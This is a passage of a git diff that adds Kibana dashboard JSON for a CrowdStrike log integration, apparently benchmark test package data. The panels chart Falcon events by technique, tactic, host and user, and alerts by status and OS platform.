+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
+                                            "columnOrder": [
+                                                "2c916dee-9123-4c38-837b-848078cac0a5",
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                            ],
+                                            "columns": {
+                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Technique",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "threat.technique.name"
+                                                },
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": true
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                        "layerType": "data",
+                                        "legendDisplay": "default",
+                                        "metrics": [
+                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "2c916dee-9123-4c38-837b-848078cac0a5"
+                                        ]
+                                    }
+                                ],
+                                "shape": "donut"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 17,
+                    "i": "3a6b30d6-f464-493e-8f38-1f9282906372",
+                    "w": 10,
+                    "x": 27,
+                    "y": 0
+                },
+                "panelIndex": "3a6b30d6-f464-493e-8f38-1f9282906372",
+                "title": "Events by Technique Name",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
+                                            "columnOrder": [
+                                                "2c916dee-9123-4c38-837b-848078cac0a5",
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                            ],
+                                            "columns": {
+                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Tactic",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "threat.tactic.name"
+                                                },
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": true
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                        "layerType": "data",
+                                        "legendDisplay": "default",
+                                        "metrics": [
+                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "2c916dee-9123-4c38-837b-848078cac0a5"
+                                        ]
+                                    }
+                                ],
+                                "shape": "donut"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 17,
+                    "i": "aa89195e-3589-44fa-aac8-3e0d8e27de63",
+                    "w": 11,
+                    "x": 37,
+                    "y": 0
+                },
+                "panelIndex": "aa89195e-3589-44fa-aac8-3e0d8e27de63",
+                "title": "Events by Tactic Name",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
+                                            "columnOrder": [
+                                                "b6bfb664-2c78-419f-9616-f7c4b40f580e",
+                                                "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93",
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                            ],
+                                            "columns": {
+                                                "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93": {
+                                                    "dataType": "date",
+                                                    "isBucketed": true,
+                                                    "label": "@timestamp",
+                                                    "operationType": "date_histogram",
+                                                    "params": {
+                                                        "dropPartials": false,
+                                                        "includeEmptyRows": true,
+                                                        "interval": "auto"
+                                                    },
+                                                    "scale": "interval",
+                                                    "sourceField": "@timestamp"
+                                                },
+                                                "b6bfb664-2c78-419f-9616-f7c4b40f580e": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Activity by Event type",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 5
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "event.action"
+                                                },
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": true
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "axisTitlesVisibilitySettings": {
+                                    "x": true,
+                                    "yLeft": true,
+                                    "yRight": true
+                                },
+                                "fittingFunction": "None",
+                                "gridlinesVisibilitySettings": {
+                                    "x": true,
+                                    "yLeft": true,
+                                    "yRight": true
+                                },
+                                "labelsOrientation": {
+                                    "x": 0,
+                                    "yLeft": 0,
+                                    "yRight": 0
+                                },
+                                "layers": [
+                                    {
+                                        "accessors": [
+                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                        ],
+                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                        "layerType": "data",
+                                        "seriesType": "area",
+                                        "splitAccessor": "b6bfb664-2c78-419f-9616-f7c4b40f580e",
+                                        "xAccessor": "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93"
+                                    }
+                                ],
+                                "legend": {
+                                    "isVisible": true,
+                                    "position": "right"
+                                },
+                                "preferredSeriesType": "area",
+                                "tickLabelsVisibilitySettings": {
+                                    "x": true,
+                                    "yLeft": true,
+                                    "yRight": true
+                                },
+                                "valueLabels": "hide"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsXY"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 18,
+                    "i": "3ae87a07-7518-4354-9eb2-2f548fcf2935",
+                    "w": 41,
+                    "x": 7,
+                    "y": 17
+                },
+                "panelIndex": "3ae87a07-7518-4354-9eb2-2f548fcf2935",
+                "title": "Events over Time by Event Type",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "f19ed911-f1ce-416c-9da6-42efb356bd86",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
+                                            "columnOrder": [
+                                                "2c916dee-9123-4c38-837b-848078cac0a5",
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                            ],
+                                            "columns": {
+                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Hostname",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": false,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "host.name"
+                                                },
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": true
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "f19ed911-f1ce-416c-9da6-42efb356bd86",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.falcon"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.falcon"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "columns": [
+                                    {
+                                        "columnId": "2c916dee-9123-4c38-837b-848078cac0a5"
+                                    },
+                                    {
+                                        "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                    }
+                                ],
+                                "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "layerType": "data"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsDatatable"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 17,
+                    "i": "3bba9326-103a-4cbc-9873-a303b306bf16",
+                    "w": 21,
+                    "x": 7,
+                    "y": 35
+                },
+                "panelIndex": "3bba9326-103a-4cbc-9873-a303b306bf16",
+                "title": "Top Related Hosts",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
+                                            "columnOrder": [
+                                                "2c916dee-9123-4c38-837b-848078cac0a5",
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                            ],
+                                            "columns": {
+                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Username",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": false,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "user.name"
+                                                },
+                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": true
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "columns": [
+                                    {
+                                        "columnId": "2c916dee-9123-4c38-837b-848078cac0a5"
+                                    },
+                                    {
+                                        "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c"
+                                    }
+                                ],
+                                "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
+                                "layerType": "data"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsDatatable"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 17,
+                    "i": "f2c81dd1-c916-4e63-8c58-53fa1e984c96",
+                    "w": 20,
+                    "x": 28,
+                    "y": 35
+                },
+                "panelIndex": "f2c81dd1-c916-4e63-8c58-53fa1e984c96",
+                "title": "Top Related Users",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "description": "",
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 17,
+                    "i": "5faa13bd-3f89-4fa2-9f96-242cf14237a4",
+                    "w": 41,
+                    "x": 7,
+                    "y": 52
+                },
+                "panelIndex": "5faa13bd-3f89-4fa2-9f96-242cf14237a4",
+                "panelRefName": "panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4",
+                "title": "[Crowdstrike] Newest Falcon Incidents",
+                "type": "search"
+            }
+        ],
+        "timeRestore": false,
+        "title": "[Crowdstrike] Falcon Overview",
+        "version": 2
+    },
+    "coreMigrationVersion": "8.8.0",
+    "created_at": "2025-03-01T12:27:16.734Z",
+    "id": "crowdstrike-ad80a080-821b-11ee-bae0-937af575b750",
+    "managed": false,
+    "references": [
+        {
+            "id": "logs-*",
+            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:af740c82-0b38-407b-bd61-d2d63b77b76e",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "3b8281fe-18b6-4215-ac47-2fa94d17fe18:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "3a6b30d6-f464-493e-8f38-1f9282906372:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "aa89195e-3589-44fa-aac8-3e0d8e27de63:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "3ae87a07-7518-4354-9eb2-2f548fcf2935:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "3bba9326-103a-4cbc-9873-a303b306bf16:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "3bba9326-103a-4cbc-9873-a303b306bf16:f19ed911-f1ce-416c-9da6-42efb356bd86",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "f2c81dd1-c916-4e63-8c58-53fa1e984c96:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
+            "type": "index-pattern"
+        },
+        {
+            "id": "crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750",
+            "name": "5faa13bd-3f89-4fa2-9f96-242cf14237a4:panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4",
+            "type": "search"
+        },
+        {
+            "id": "logs-*",
+            "name": "controlGroup_2f027408-9e82-4fbe-8c59-f32e933b50f0:optionsListDataView",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "controlGroup_3dc73766-aa88-46ff-a02d-b0e600136550:optionsListDataView",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "controlGroup_c94c3167-3962-4186-b809-1f2506632789:optionsListDataView",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "controlGroup_fa9232f2-d8fd-4087-989d-c4be652027bb:optionsListDataView",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "controlGroup_bd86c535-6911-441c-a29d-8a48759b461f:optionsListDataView",
+            "type": "index-pattern"
+        }
+    ],
+    "type": "dashboard",
+    "typeMigrationVersion": "10.2.0",
+    "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0"
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json
new file mode 100644
index 0000000000..a3d07ab674
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json
@@ -0,0 +1,2506 @@
+{
+    "attributes": {
+        "controlGroupInput": {
+            "chainingSystem": "HIERARCHICAL",
+            "controlStyle": "oneLine",
+            "ignoreParentSettingsJSON": {
+                "ignoreFilters": false,
+                "ignoreQuery": false,
+                "ignoreTimerange": false,
+                "ignoreValidations": false
+            },
+            "panelsJSON": {},
+            "showApplySelections": false
+        },
+        "description": "Overview of the CrowdStrike Alert Logs.",
+        "kibanaSavedObjectMeta": {
+            "searchSourceJSON": {
+                "filter": [
+                    {
+                        "$state": {
+                            "store": "appState"
+                        },
+                        "meta": {
+                            "alias": null,
+                            "disabled": false,
+                            "field": "data_stream.dataset",
+                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+                            "key": "data_stream.dataset",
+                            "negate": false,
+                            "params": {
+                                "query": "crowdstrike.alert"
+                            },
+                            "type": "phrase"
+                        },
+                        "query": {
+                            "match_phrase": {
+                                "data_stream.dataset": "crowdstrike.alert"
+                            }
+                        }
+                    }
+                ],
+                "query": {
+                    "language": "kuery",
+                    "query": ""
+                }
+            }
+        },
+        "optionsJSON": {
+            "hidePanelTitles": false,
+            "syncColors": false,
+            "syncCursor": true,
+            "syncTooltips": false,
+            "useMargins": true
+        },
+        "panelsJSON": [
+            {
+                "embeddableConfig": {
+                    "enhancements": {
+                        "dynamicActions": {
+                            "events": []
+                        }
+                    },
+                    "hidePanelTitles": false,
+                    "savedVis": {
+                        "data": {
+                            "aggs": [],
+                            "searchSource": {
+                                "filter": [],
+                                "query": {
+                                    "language": "kuery",
+                                    "query": ""
+                                }
+                            }
+                        },
+                        "description": "",
+                        "id": "",
+                        "params": {
+                            "fontSize": 12,
+                            "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f)  \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n**Alert**\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboard shows statistics about the different alerts collected from the Crowdstrike Alert API.\n\n",
+                            "openLinksInNewTab": false
+                        },
+                        "title": "",
+                        "type": "markdown",
+                        "uiState": {}
+                    }
+                },
+                "gridData": {
+                    "h": 16,
+                    "i": "da4bfceb-5882-4577-9ead-316c338c7569",
+                    "w": 16,
+                    "x": 0,
+                    "y": 0
+                },
+                "panelIndex": "da4bfceb-5882-4577-9ead-316c338c7569",
+                "title": "Table of Contents",
+                "type": "visualization"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-836a096e-11de-4f16-8dc1-08de3e3a2b2f",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "836a096e-11de-4f16-8dc1-08de3e3a2b2f": {
+                                            "columnOrder": [
+                                                "e1dfcfae-1d38-4434-b22c-847e1a2ef8d7",
+                                                "c04767a1-9e74-4057-a95a-0d1ccb016a67"
+                                            ],
+                                            "columns": {
+                                                "c04767a1-9e74-4057-a95a-0d1ccb016a67": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "e1dfcfae-1d38-4434-b22c-847e1a2ef8d7": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Alert Status",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "c04767a1-9e74-4057-a95a-0d1ccb016a67",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 5
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "crowdstrike.alert.status"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "layerId": "836a096e-11de-4f16-8dc1-08de3e3a2b2f",
+                                        "layerType": "data",
+                                        "legendDisplay": "show",
+                                        "metrics": [
+                                            "c04767a1-9e74-4057-a95a-0d1ccb016a67"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "e1dfcfae-1d38-4434-b22c-847e1a2ef8d7"
+                                        ],
+                                        "truncateLegend": false
+                                    }
+                                ],
+                                "shape": "pie"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 16,
+                    "i": "cf48b7df-a51b-4a21-a2f9-c4c05705b5eb",
+                    "w": 17,
+                    "x": 16,
+                    "y": 0
+                },
+                "panelIndex": "cf48b7df-a51b-4a21-a2f9-c4c05705b5eb",
+                "title": "Alert by Status [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-b4403946-8fa4-464f-b1e2-17fae6304bb5",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "5c9cfcd1-2c7f-493f-86a5-002bcf501fde",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "b4403946-8fa4-464f-b1e2-17fae6304bb5": {
+                                            "columnOrder": [
+                                                "8ad4264b-af2b-48aa-91a8-e4be5782a1c2",
+                                                "8e708f78-e313-4f7c-98dd-625bdc4ef202"
+                                            ],
+                                            "columns": {
+                                                "8ad4264b-af2b-48aa-91a8-e4be5782a1c2": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Host OS Platform",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "8e708f78-e313-4f7c-98dd-625bdc4ef202",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 5
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "host.os.platform"
+                                                },
+                                                "8e708f78-e313-4f7c-98dd-625bdc4ef202": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "5c9cfcd1-2c7f-493f-86a5-002bcf501fde",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.alert"
+                                        },
